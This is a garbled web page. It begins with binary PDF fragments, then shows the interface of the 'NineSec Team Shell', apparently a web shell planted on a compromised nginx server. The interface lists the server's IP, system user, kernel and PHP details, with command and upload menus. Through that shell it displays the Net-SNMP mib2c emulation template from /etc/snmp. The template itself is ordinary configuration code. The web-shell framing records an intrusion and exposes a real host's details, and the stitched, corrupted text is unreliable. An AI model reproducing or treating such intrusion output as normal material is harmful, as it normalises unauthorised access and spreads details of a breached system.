%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.6
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/snmp/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/snmp/mib2c.emulation.conf
############################################## -*- Mib2c -*-
##
## File   : mib2c.emulation.conf
## Author : Robert Story <rstory@freesnmp.com>
## Purpose: A mib2c conf file to generate snmpd.conf configuration to
##          provide basic/simplistic emulation for a particular MIB.
##
## 
######################################################################
@open ${name}-emulation.conf@
#
# $name.module MIB emulation
# Base OID: $name.objectID
#
# Requirements: Net-SNMP 5.2 or greater
#
# This file can be used as (part of) a Net-SNMP snmpd.conf
# configuration file to emulate (in a minimal fashion) the objects defined
# in the $name MIB.
#
# It is important to note that this file merely creates dummy values
# and variables and does not implement any of the functionality which
# the mib objects are actually supposed to implement!
#
# Also, it just defaults to 0, '' or 0.0 for initial values, so you'll need
# to tweak all the vaules. For any tables, you'll have set any indexes.
#
# The configuration tokens used in this file are documented in the
# snmpd.conf manual page, with the exception of the first line, which
# is documented in the snmp.conf and snmp_config manual pages.
#
#
# To use this file, you have several options:
#
#   1) add the contents to your existing snmpd.conf file
#   2) copy it to a new snmpd.conf, somewhere in SNMPCONFPATH
#   3) copy it to snmpd.conf.local, somewhere in SNMPCONFPATH
#
# The command 'net-snmp-config --snmpconfpath' will give your the
# SNMPCONFPATH (5.3.x and later).


# Here we tell the agent to load the MIB, so we can use names instead
# of OIDs. You may need to add other MIBs that this MIB depends on.
# Also, you might want to consider adding these to the global snmp.conf,
# so all users can reference them.
#
# See the Net-SNMP FAQ for more information on MIB loading.
#
[snmp] mibs +$name.module

#
# $name Scalar variables
#

@foreach $node scalar@
@   print Scalar: $node@
# $node.module::$node.parent.$node($node.subid) [$node.syntax = $node.type]
@   if "$node.status" eq "Deprecated"@
# **** WARNING: deprecated object ****
@   end@
@if $node.enums == 1@
@    eval $m2c_evals = ""@
@    eval $m2c_first = 1@
@    foreach $e $v enum@
@        if $m2c_first == 1@
@            eval $m2c_first = 0@
@        else@
@            eval $m2c_evals = "$m2c_evals,"@
@        end@
@        eval $m2c_evals = "$m2c_evals $e($v)"@
@        if $node.hasdefval == 1@
@           if (("$node.defval" eq "$e") || ("$node.defval" eq "$v"))@
@              eval $m2c_evals = "${m2c_evals}*"@
@           end@
@        end@
@    end@
# Enum range: $node.enumrange. Values: $m2c_evals
@elsif $node.ranges == 1@
@    eval $m2c_range_max = 0@
@    eval $m2c_evals = ""@
@    eval $m2c_first = 1@
@    foreach $a $b range $node@
@        if $m2c_first == 1@
@            eval $m2c_first = 0@
@        else@
@            eval $m2c_evals = "$m2c_evals,"@
@        end@
@        if $a == $b@
@            eval $m2c_evals = "$m2c_evals $a"@
@        else@
@            eval $m2c_evals = "$m2c_evals $a - $b"@
@        end@
@        eval $m2c_range_max = max($m2c_range_max,$b)@
@    end@
# Ranges: $m2c_evals;
@end@ #ranges
@   if $node.hasdefval == 1@
@      eval $m2c_emu_def = "$node.defval"@
@   else@
#  (no default value)
@      if "$node.type" eq "ASN_OCTET_STR"@
@         eval $m2c_emu_def = "''" @
@      elsif "$node.type" eq "ASN_OBJECT_ID"@
@         eval $m2c_emu_def = "0.0" @
@      else@
@         eval $m2c_emu_def = "0" @
@      end@
@   end@
##  uggh.. try to convert type into something 5.3.x override understands
@   eval $m2c_emu_type = lc($node.type)@
@   perleval $vars{'m2c_emu_type'} =~ s/asn_//; 0;@
@   if $node.settable@
#override -rw ${node}.0 $m2c_emu_type $m2c_emu_def
@   else@
#override ${node}.0 $m2c_emu_type $m2c_emu_def
@   end@

@end@


##======================================================================
#
# Note that in tables, all indices are shown first, then each
# readable column. This results in indices being given twice.
#
@foreach $node table@
@   print Table: $node@
# $node.module::$node.parent.$node($node.subid)
table $node
##============================================================
@   eval $m2c_idx_def = ""@
@   eval $m2c_add_def = ""@
@   foreach $col index@
# [$col] ($node.accessible) $col.syntax / $col.type / $m2c_decl ($col.decl)
@      if $col.enums == 1@
@          eval $m2c_evals = ""@
@          eval $m2c_first = 1@
@          foreach $e $v enum@
@              if $m2c_first == 1@
@                  eval $m2c_first = 0@
@              else@
@                  eval $m2c_evals = "$m2c_evals,"@
@              end@
@              eval $m2c_evals = "$m2c_evals $e($v)"@
@              if $col.hasdefval == 1@
@                 if (("$col.defval" eq "$e") || ("$col.defval" eq "$v"))@
@                    eval $m2c_evals = "${m2c_evals}*"@
@                 end@
@              end@
@          end@
#      enum range: $col.enumrange. Values: $m2c_evals
@      elsif $col.ranges == 1@
@          eval $m2c_range_max = 0@
@          eval $m2c_evals = ""@
@          eval $m2c_first = 1@
@          foreach $a $b range $col@
@              if $m2c_first == 1@
@                  eval $m2c_first = 0@
@              else@
@                  eval $m2c_evals = "$m2c_evals,"@
@              end@
@              if $a == $b@
@                  eval $m2c_evals = "$m2c_evals $a"@
@              else@
@                  eval $m2c_evals = "$m2c_evals $a - $b"@
@              end@
@              eval $m2c_range_max = max($m2c_range_max,$b)@
@          end@
#      ranges: $m2c_evals;
@      end@ #ranges
@      if $col.hasdefval == 1@
@         eval $m2c_col_def = '$col.defval'@
@      else@
@         if "$col.type" eq "ASN_OCTET_STR"@
@            eval $m2c_col_def = "''" @
@         elsif "$col.type" eq "ASN_OBJECT_ID"@
@            eval $m2c_col_def = "0.0" @
@         else@
@            eval $m2c_col_def = "0" @
@         end@
@      end@
@      eval $m2c_add_def = "$m2c_add_def $m2c_col_def"@
##@      if $node.accessible == 1@
@         eval $m2c_idx_def = "$m2c_idx_def $m2c_col_def"@
##@      end@
@   end@ ## col
##===================================================
@   foreach $col nonindex@
# $col [$col.syntax = $col.type]
@      if "$col.status" eq "Deprecated"@
# **** WARNING: deprecated object ****
@      end@
@      if $col.enums == 1@
@          eval $m2c_evals = ""@
@          eval $m2c_first = 1@
@          foreach $e $v enum@
@              if $m2c_first == 1@
@                  eval $m2c_first = 0@
@              else@
@                  eval $m2c_evals = "$m2c_evals,"@
@              end@
@              eval $m2c_evals = "$m2c_evals $e($v)"@
@              if $col.hasdefval == 1@
@                 if (("$col.defval" eq "$e") || ("$col.defval" eq "$v"))@
@                    eval $m2c_evals = "${m2c_evals}*"@
@                 end@
@              end@
@          end@
#      enum range: $col.enumrange. Values: $m2c_evals
@      elsif $col.ranges == 1@
@          eval $m2c_range_max = 0@
@          eval $m2c_evals = ""@
@          eval $m2c_first = 1@
@          foreach $a $b range $col@
@              if $m2c_first == 1@
@                  eval $m2c_first = 0@
@              else@
@                  eval $m2c_evals = "$m2c_evals,"@
@              end@
@              if $a == $b@
@                  eval $m2c_evals = "$m2c_evals $a"@
@              else@
@                  eval $m2c_evals = "$m2c_evals $a - $b"@
@              end@
@              eval $m2c_range_max = max($m2c_range_max,$b)@
@          end@
#      ranges: $m2c_evals;
@      end@ #ranges
@      if $col.hasdefval == 1@
@         eval $m2c_col_def = '$col.defval'@
@      else@
@         if "$col.type" eq "ASN_OCTET_STR"@
@            eval $m2c_col_def = "''" @
@         elsif "$col.type" eq "ASN_OBJECT_ID"@
@            eval $m2c_col_def = "0.0" @
@         else@
@            eval $m2c_col_def = "0" @
@         end@
@      end@
@      eval $m2c_add_def = "$m2c_add_def $m2c_col_def"@
@   end@ ## col
#add_row $node $m2c_idx_def $m2c_add_def

@end@ ## table

NineSec Team - 2022